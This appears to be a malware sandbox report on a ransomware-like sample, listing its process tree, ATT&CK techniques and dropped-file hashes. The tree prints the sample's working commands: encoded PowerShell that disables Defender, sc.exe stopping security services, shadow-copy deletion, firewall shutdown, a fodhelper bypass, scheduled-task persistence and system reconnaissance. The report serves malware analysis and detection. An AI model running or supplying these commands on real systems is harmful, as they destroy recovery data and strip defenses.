C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5020
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:2936
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:2872
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:3068
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:4972
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:1640
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:3168
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:3552
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:4180
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:2848 -
C:\Users\Admin\AppData\Local\Temp\eastblue.io_2.exe"C:\Users\Admin\AppData\Local\Temp\eastblue.io_2.exe"3⤵PID:4188
-
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵PID:1844
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\eastblue.io_2.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1944
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:4600 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:4972
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4472
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:1840 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:2408
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:4636 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:4848
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5080 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4484
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:1620 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:116 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:416
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:2980 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:1812
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:924 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:1836
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\eastblue.io_2.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:4760
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵PID:2252
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:3076
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:4548
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3816
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:2884 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:3200
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:4436
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:1796
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:4996
-
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3926055 /state1:0x41c64e6d1⤵
- Drops desktop.ini file(s)
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2984
-
C:\Users\Admin\AppData\Local\Temp\eastblue.io_2.exeC:\Users\Admin\AppData\Local\Temp\eastblue.io_2.exe1⤵PID:4664
-
C:\Users\Admin\AppData\Local\Temp\eastblue.io_2.exeC:\Users\Admin\AppData\Local\Temp\eastblue.io_2.exe1⤵PID:3460
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2036
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:4760
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\Microsoft\Windows\SystemData\S-1-5-21-2023547815-1162023398-1465618254-1000\ReadOnly\LockScreen_O\LockScreen___1920_1080_notdimmed.jpg
- Size 529KB
- SHA256 59aa27ea5eaa1214253112b4e2c8eeb5b0a1c33b496797a83eed2b38b26122b4
- MD5 6e8d54c8ef3f232fc65beaf2925be932
- SHA1 805b239ee9bdc7363f2c6d882d82cacc76a7dcb1
- SHA512 44376a141b9c35723b563460ac1ec146df186812ebb298f362c0465a359ddfd1328d6900749c14b7c2bb16c3435e2cf99ce48c97b10e0190ba336b3d5ec04cd6
- SSDEEP 12288:1ceQkpSu8mqcDSfMw3GMjiLOQPjTfkDX+IhaHTFR73DB:AcGRwPjTc7szn3DB
- TLSH T192B42388AE111FD4AD36B9D117C2FC90B4E0F63B01DBEA856789568A32E7BF574087D0
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\invoice_1.pdf
- Size 68KB
- SHA256 649e3d317a1cc2dafa4934fb1171091be4c2cf014fba9b53b89e6a7683822c6d
- MD5 911e7bcd70dc536000ba6cc084fa8b39
- SHA1 6f435354b731d492709a40da68dc0404820ce92f
- SHA512 11b7e67faa848088478742b414635c1ad6c5acae15bad712ed2ecc1dab47f54abc5b12d66d9ba1730d6739982ead353a7ffd967f0a57da1fdb1436708bbba7b6
- SSDEEP 1536:jlb7oZ2X/2DxqkReqhaaWNq6mH7c+cOwBJA8ezplnU4I13VOkG8E1k3g:j9A2X/2DRew6mH7c+c+zplnRIJVjG8Eb
- TLSH T165632A374723FCC4277B3E80F06439961C883E674775A66CFBC5099A38B6684DF2A598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 68KB
- SHA256 af76d123b6d54de46de13bff427270414dbae76b7b4fa6be6da06e09f39f0921
- MD5 ba08751f047c4de6d0da07c67f262d26
- SHA1 4fae19f33884af2744f6a04e7db8313c1ff25db7
- SHA512 8fd8ade8a218de3530b07e4f2a53b8e35d839bfc9b5b459fccfec3174bfeaf79fffcc005025dea1b305b26ccafd663a3f5bbfb0745a17e6c5bba785edab0f5ec
- SSDEEP 1536:Dlb7oZ2X/2DxqkReqhaaWNq6mH7c+cOwBJA8ezplnU4I13VOkG8E1k37:D9A2X/2DRew6mH7c+c+zplnRIJVjG8ES
- TLSH T110632A374723FCC4277B3E80F06439961C883E674775A668FBC509AA28B6584DF2A598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\eastblue.io_2.exe.log
- Size 660B
- SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
- MD5 1c5e1d0ff3381486370760b0f2eb656b
- SHA1 f9df6be8804ef611063f1ff277e323b1215372de
- SHA512 78f5fc40a185d04c9e4a02a3d1b10b4bd684c579a45a0d1e8f49f8dee9018ed7bc8875cbf21f98632f93ead667214a41904226ce54817b85caeeb4b0de54a743
- TLSH T1CF014970227BA0D888152F942C2E2BC403BF0336B5509E187998729EEE264571F212E6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fezsn43d.xiv.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 238B
- SHA256 78aad70b504f73544b22d7c2a0091a2ddae30dd5c1652a9e3637e3ee407f2c81
- MD5 c4d2efed1f21cf607c99e66e605fd8f8
- SHA1 f853c3abcd898b955a9efd30ac22dba79838b10e
- SHA512 139d065bc4b9f56d5569b293dc47203bbb2ecb126a42ab6f41ccb4345ed50d31269ccac8b08e78f35764189a124be5fc06e34e22908e490c77dcdb40c6a39cb9
- TLSH T13BD0A78BB148CAA90001123B81F38D8CD9E5882C3B13BE704EA5DD4E369088989F6543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 239B
- SHA256 d1d33298c026f0e1051e90f8b92e7ef305a2d2083a51c03be83f4715c6527745
- MD5 5d127e74de5333d87b745b028910df78
- SHA1 e5fb6853f2d189f9bdf7abc5bf194da941cac830
- SHA512 3b64c51dadee2121b6370e3d528c984b84ac3d190f681cf28801b8bccc3e072b71c6624883ef3491b5c16053f314a64cc84f175c86afcd626dfe43ecb47e16d6
- TLSH T1D8D0A7CBB148CAA90001123F80F38D8CDAE1882C3B13AE309E65DD0E369088989F6543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\Documents\eicar_extra.com
- Size 68B
- SHA256 275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f
- MD5 44d88612fea8a8f36de82e1278abb02f
- SHA1 3395856ce81f2b7382dee72602f798b642f14140
- SHA512 cc805d5fab1fd71a4ab352a9c533e65fb2d5b885518f4e565e68847223b8e6b85cb48f3afad842726d99239c9e36505c64b0dc9a061d9e507d833277ada336ab
- TLSH T141A022003B0EEE2BA20B00200032E8B00808020E2CE00A3820A020B8C83308803EC228
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 51KB
- SHA256 70bc1e131736193abff2edb141234160aa6ba421f3fe7844f53395cd6ecc1b2a
- MD5 24a3e8461334e52e382ab1b2b56665ed
- SHA1 0d42197c1a5763959a69cf14c840ad2462dc98c9
- SHA512 cc85325310ec6d36aa6b8ceb42a598a9852edbd89c01ec0ac1c3ff124e2781461ca6d04fadd7800ab6a52b05d58528e304eef10a4b241e2ea6ef72c8193255f1
- SSDEEP 768:JSY4OWQbuoc4WK6oSwgSYwVb/JT90fXIyfRoBueFkb:5+QbvcoT1bIPRfgueFkb
- TLSH T14633D54837E94111E2BF9EBE89B251118732F4639C23D78E1AD4459E19F3B40CDA8F6B
- MD5 SHA1 SHA512 SSDEEP TLSH